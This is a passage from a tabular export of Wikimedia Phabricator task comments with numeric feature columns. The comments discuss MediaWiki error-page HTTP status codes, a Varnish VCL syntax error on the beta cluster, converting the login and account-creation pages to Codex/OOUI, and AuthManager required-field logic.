* HTTP 500 (sql error or uncaught exception)",,,1423075690,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,True,,,-22,True,1.0,0.0,0.0,0.0,2.0,3.5,1.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.5,2.5,5.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.0,15.0,1.0,1.5,5.5,0.0,0.0,0.0,0.0,0.5,0.0,5.5,0.0,2.5,5.0,7.0,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,3.6166666666666667,0.7333333333333334,"SCREEN_NAME It is the status quo because outputting unstyled errors is not up to our standards. It lacks user experience (no navigation options, other than browser Back). Any user-accessible page ought to rendered with our visual identity.

We don't show error pages with HTTP 200. If some cases do, that's a bug. Using OutputPage/Skin or not has no relation to the http status code:

* HTTP 400 URL
* HTTP 404 URL
* HTTP 404 URL
* HTTP 404 URL
* HTTP 429 (throttled action)
* HTTP 500 (sql error or uncaught exception)"
406649,Special:UserProfile should not use wfHttpError() for missing user parameters,"@Krinkle out of interest why is this the status quo? It seems like this would effect SEO and be cached on the local browser.
Why do we show error pages with a 200 instead of 404? Is this documented somewhere?
",,,1423064485,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,11.0,4.0,2.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,13.0,0.0,7.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.782608695652174,0.8478260869565217,"SCREEN_NAME out of interest why is this the status quo? It seems like this would effect SEO and be cached on the local browser.
Why do we show error pages with a 200 instead of 404? Is this documented somewhere?
"
85993,"Beta cluster text and mobile varnishes fails loading VCL  (invalid syntax: req.http.X-Wikimedia-Debug = ""1"")","The patch ""varnish: Route requests with 'X-Wikimedia-Debug=1' to test_wikipedia backend"" https://gerrit.wikimedia.org/r/#/c/183171/ has been applied on beta cluster but has some syntax errors preventing the VCL from loading:

    deployment-cache-mobile03:
    
    Expected ')' got '='
    (program line 73), at
    ('mobile-frontend.inc.vcl' Line 102 Pos 40)
            if (req.http.X-Wikimedia-Debug = ""1"") {
    ---------------------------------------#-------
    
    deployment-cache-text02:
    
    Expected ')' got '='
    (program line 73), at
    ('text-backend.inc.vcl' Line 20 Pos 40)
            if (req.http.X-Wikimedia-Debug = ""1"") {
    ---------------------------------------#-------

I have removed the patch from the puppetmaster.
",Needs Triage,90.0,1420624618,1420625186.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-nghdbkgyfwnwnjejdd6a,task_description,invalid,True,c3,1,True,True,True,-26,True,0.5,0.0,0.0,0.5,0.0,4.5,0.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.5,0.5,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,11.5,1.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,0.5,5.0,4.5,0.0,11.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,4.289473684210526,0.6578947368421053,"The patch ""varnish: Route requests with 'X-Wikimedia-Debug=1' to test_wikipedia backend"" URL has been applied on beta cluster but has some syntax errors preventing the VCL from loading:

    deployment-cache-mobile03:
    
    Expected ')' got '='
    (program line 73), at
    ('mobile-frontend.inc.vcl' Line 102 Pos 40)
            if (req.http.X-Wikimedia-Debug = ""1"") {
    ---------------------------------------#-------
    
    deployment-cache-text02:
    
    Expected ')' got '='
    (program line 73), at
    ('text-backend.inc.vcl' Line 20 Pos 40)
            if (req.http.X-Wikimedia-Debug = ""1"") {
    ---------------------------------------#-------

I have removed the patch from the puppetmaster.
"
396083,"Beta cluster text and mobile varnishes fails loading VCL  (invalid syntax: req.http.X-Wikimedia-Debug = ""1"")","I have filled this task fearing the fault landed in operations/puppet and hence in production.  It is just a WIP / faulty patch that have been applied on beta cluster.

The patch is being reviewed / tweaked in Gerrit so lets follow up on https://gerrit.wikimedia.org/r/#/c/183171/ 

",,,1420625186,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-nghdbkgyfwnwnjejdd6a,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,12.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8461538461538463,0.8076923076923077,"I have filled this task fearing the fault landed in operations/puppet and hence in production.  It is just a WIP / faulty patch that have been applied on beta cluster.

The patch is being reviewed / tweaked in Gerrit so lets follow up on URL 

"
85853,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Let's convert MW core login/create account templates to Codex. Splitting this off from T74715. Let's do this after T12317 is fixed.

Open issues (Feb 2019):
[x] Error message not properly styled clear enough T145674
[] Captcha's misaligned, especially on mobile
[] Labels added on mobile 
[] Required indicators probably better off hidden on this specific forms",Needs Triage,90.0,1420491118,1714820892.0,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-bmkk5pxosfta5sjid6hl,task_description,resolved,True,c3,1,True,True,False,-26,True,0.0,0.0,0.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,3.0,10.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,12.0,4.025974025974026,0.7402597402597403,"Let's convert MW core login/create account templates to Codex. Splitting this off from T74715. Let's do this after T12317 is fixed.

Open issues (Feb 2019):
[x] Error message not properly styled clear enough T145674
[] Captcha's misaligned, especially on mobile
[] Labels added on mobile 
[] Required indicators probably better off hidden on this specific forms"
2328758,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),This was done last year in <https://gerrit.wikimedia.org/r/c/mediawiki/core/+/919361>.,,,1714820892,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,461,True,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.125,1.0,This was done last year in <URL
1910435,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 284902 **abandoned** by Bartosz Dziewoński:
%%%[mediawiki/core@master] LoginSignupSpecialPage: Convert form to OOUI%%%
Reason:
%%%This has diverged too far, the work will probably need to be redone. The last few comments have advice on what else is missing.%%%
https://gerrit.wikimedia.org/r/284902",,,1651696627,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,356,True,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,10.0,2.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,4.016393442622951,0.7704918032786885,"Change 284902 **abandoned** by Bartosz Dziewoński:
%%%[mediawiki/core@master] LoginSignupSpecialPage: Convert form to OOUI%%%
Reason:
%%%This has diverged too far, the work will probably need to be redone. The last few comments have advice on what else is missing.%%%
GERRIT_URL"
1394947,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 284902 had a related patch set uploaded (by VolkerE; owner: Bartosz Dziewoński):
[mediawiki/core@master] LoginSignupSpecialPage: Convert form to OOUI

[[https://gerrit.wikimedia.org/r/284902]]",,,1574136900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,228,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,20.0,4.428571428571429,0.8571428571428571,"Change 284902 had a related patch set uploaded (by VolkerE; owner: Bartosz Dziewoński):
[mediawiki/core@master] LoginSignupSpecialPage: Convert form to OOUI

[[GERRIT_URL]]"
1229741,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Time for picking this up again. 
Due to the amount of work and different patches and comments it's harder to gather overview of what remains, therefore added open points on first look to the description.",,,1550732944,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,190,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,22.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.225,0.85,"Time for picking this up again. 
Due to the amount of work and different patches and comments it's harder to gather overview of what remains, therefore added open points on first look to the description."
1062073,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),This is the last remaining use of `$wgUseMediaWikiUIEverywhere` other than in MobileFrontend. Let's try to get it done.,,,1525361339,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,148,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,10.0,19.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6666666666666665,0.9523809523809523,This is the last remaining use of CODE other than in MobileFrontend. Let's try to get it done.
734246,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),Another related UI task is {T146551},,,1474749880,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,64,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,38.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,Another related UI task is {T146551}
734245,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),Another related UI task is T146551,,,1474749866,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,64,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,50.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,Another related UI task is T146551
720386,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Text fields just don't look nice in OOUI:

| **vform** | **ooui**
| {F4418006} |{F4418008}

* there is more distance between the label and the field, so they don't form an obvious unit, the form is hard to parse
* the placeholder text is way too aggressive, barely different from the label. Again, hard to scan.",,,1472604940,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,60,True,0.0,0.0,0.0,0.0,2.0,10.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,1.0,0.0,0.0,11.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,5.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,8.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.25,0.625,"Text fields just don't look nice in OOUI:

| **vform** | **ooui**
| {F4418006} |{F4418008}

* there is more distance between the label and the field, so they don't form an obvious unit, the form is hard to parse
* the placeholder text is way too aggressive, barely different from the label. Again, hard to scan."
711075,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"OOUI error messages seem awkward to me, even apart from the issue fixed in T142639: there is just no visual sign I would recognize as error (such as red color or background). I feels closer to the explanatory text created with the 'help' keys on VForm.
{F4358823} ",,,1471063518,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,58,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,2.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.7586206896551726,0.8620689655172413,"OOUI error messages seem awkward to me, even apart from the issue fixed in T142639: there is just no visual sign I would recognize as error (such as red color or background). I feels closer to the explanatory text created with the 'help' keys on VForm.
{F4358823} "
702329,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"For the record: Mobile does some styling on the current vform-based login form, so the direct comparsion looks more scaried as it should, simply because the styles doesn't apply to mostly all of the OOUI form elements. fixing this should probably result in a more accurate form :)",,,1469745255,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,56,True,4.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,2.0,2.0,16.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,4.236363636363636,0.8181818181818182,"For the record: Mobile does some styling on the current vform-based login form, so the direct comparsion looks more scaried as it should, simply because the styles doesn't apply to mostly all of the OOUI form elements. fixing this should probably result in a more accurate form :)"
701342,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),@Tgr Thanks for these comparisons. Very helpful!,,,1469628737,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,55,True,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.444444444444445,1.0,SCREEN_NAME Thanks for these comparisons. Very helpful!
701150,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Also, mobile:
vform: {F4311185}
ooui: {F4311187}
vform, tablet: {F4311189}
ooui, tablet: {F4311192}",,,1469603698,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,55,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.875,0.4375,"Also, mobile:
vform: {F4311185}
ooui: {F4311187}
vform, tablet: {F4311189}
ooui, tablet: {F4311192}"
701098,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Re: the current version of https://gerrit.wikimedia.org/r/#/c/284902/:
* messages don't look too good with OOUI IMO:
vform: {F4310815}
ooui: {F4310817}
* help texts are not handled properly:
vform: {F4310825}
ooui: {F4310827}
* ConfirmEdit looks broken, partly because it is hand-tailored to the old sizes, but some text does not appear at all:
vform: {F4310820}
ooui: {F4310822}
",,,1469587708,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,55,True,2.0,0.0,0.0,1.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,1.0,7.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.2065217391304346,0.5978260869565217,"Re: the current version of URL
* messages don't look too good with OOUI IMO:
vform: {F4310815}
ooui: {F4310817}
* help texts are not handled properly:
vform: {F4310825}
ooui: {F4310827}
* ConfirmEdit looks broken, partly because it is hand-tailored to the old sizes, but some text does not appear at all:
vform: {F4310820}
ooui: {F4310822}
"
680768,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Regarding the field requirement determination, AuthManager does give you some field cross-requirement information. For example, enwiki as a logged-in user right now tells me (among other things):
* ""MediaWiki\Auth\UsernameAuthenticationRequest"" is required. It has one required field, ""username"".
* ""MediaWiki\Auth\PasswordAuthenticationRequest"" is primary-required. It has three required fields, ""username"", ""password"", and ""retype"".
* ""MediaWiki\Auth\TemporaryPasswordAuthenticationRequest"" is primary-required. It has one required field, ""mailpassword"" (a checkbox).

So from this you could deduce that a ""username"" field is always required, and you have to specify either ""mailpassword"" or both ""password"" and ""retype"". Actually making use of this information generically (instead of hard-coding that checking ""mailpassword"" hides ""password"" and ""retype"") seems like a difficult problem, though.

My local testing wiki is even more complicated, since I've recently been reviewing https://gerrit.wikimedia.org/r/#/c/289099/:
* ""MediaWiki\Auth\UsernameAuthenticationRequest"" is required. It has one required field, ""username"".
* ""MediaWiki\Auth\PasswordAuthenticationRequest"" is primary-required. It has three required fields, ""username"", ""password"", and ""retype"".
* ""MediaWiki\Auth\TemporaryPasswordAuthenticationRequest"" is primary-required. It has one required field, ""mailpassword"" (a checkbox).
* ""GoogleLogin\Auth\GoogleAuthenticationRequest:googlelogin"" is primary-required. It has one required field, ""googlelogin"" (a submit button).

Again, you could deduce that a ""username"" field is always required, and you have to specify either ""mailpassword"", or both ""password"" and ""retype"", or click the ""googlelogin"" button instead of the usual submit button.",,,1466102954,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,50,True,0.25,0.0,0.0,1.0,0.0,5.5,0.0,0.0,0.25,0.0,1.0,0.25,0.0,0.0,0.0,0.75,0.0,4.0,3.75,0.0,0.5,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,6.25,0.75,1.75,0.5,1.25,0.25,0.0,0.0,4.25,0.0,0.0,0.75,1.0,0.0,0.0,0.0,0.0,0.5,12.0,0.25,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.75,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.0,2.75,2.75,6.0,0.75,2.75,4.5,0.0,0.0,0.0,0.0,2.5,0.0,1.75,0.0,4.0,3.75,0.75,0.0,15.75,0.0,4.0,0.0,0.25,2.0,0.25,1.25,0.25,1.75,0.0,4.450649794801642,0.5364227086183311,"Regarding the field requirement determination, AuthManager does give you some field cross-requirement information. For example, enwiki as a logged-in user right now tells me (among other things):
* ""MediaWiki\Auth\UsernameAuthenticationRequest"" is required. It has one required field, ""username"".
* ""MediaWiki\Auth\PasswordAuthenticationRequest"" is primary-required. It has three required fields, ""username"", ""password"", and ""retype"".
* ""MediaWiki\Auth\TemporaryPasswordAuthenticationRequest"" is primary-required. It has one required field, ""mailpassword"" (a checkbox).

So from this you could deduce that a ""username"" field is always required, and you have to specify either ""mailpassword"" or both ""password"" and ""retype"". Actually making use of this information generically (instead of hard-coding that checking ""mailpassword"" hides ""password"" and ""retype"") seems like a difficult problem, though.

My local testing wiki is even more complicated, since I've recently been reviewing URL
* ""MediaWiki\Auth\UsernameAuthenticationRequest"" is required. It has one required field, ""username"".
* ""MediaWiki\Auth\PasswordAuthenticationRequest"" is primary-required. It has three required fields, ""username"", ""password"", and ""retype"".
* ""MediaWiki\Auth\TemporaryPasswordAuthenticationRequest"" is primary-required. It has one required field, ""mailpassword"" (a checkbox).
* ""GoogleLogin\Auth\GoogleAuthenticationRequest:googlelogin"" is primary-required. It has one required field, ""googlelogin"" (a submit button).

Again, you could deduce that a ""username"" field is always required, and you have to specify either ""mailpassword"", or both ""password"" and ""retype"", or click the ""googlelogin"" button instead of the usual submit button."
670967,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 291727 merged by jenkins-bot:
Fix required field calculation in AuthenticationRequest

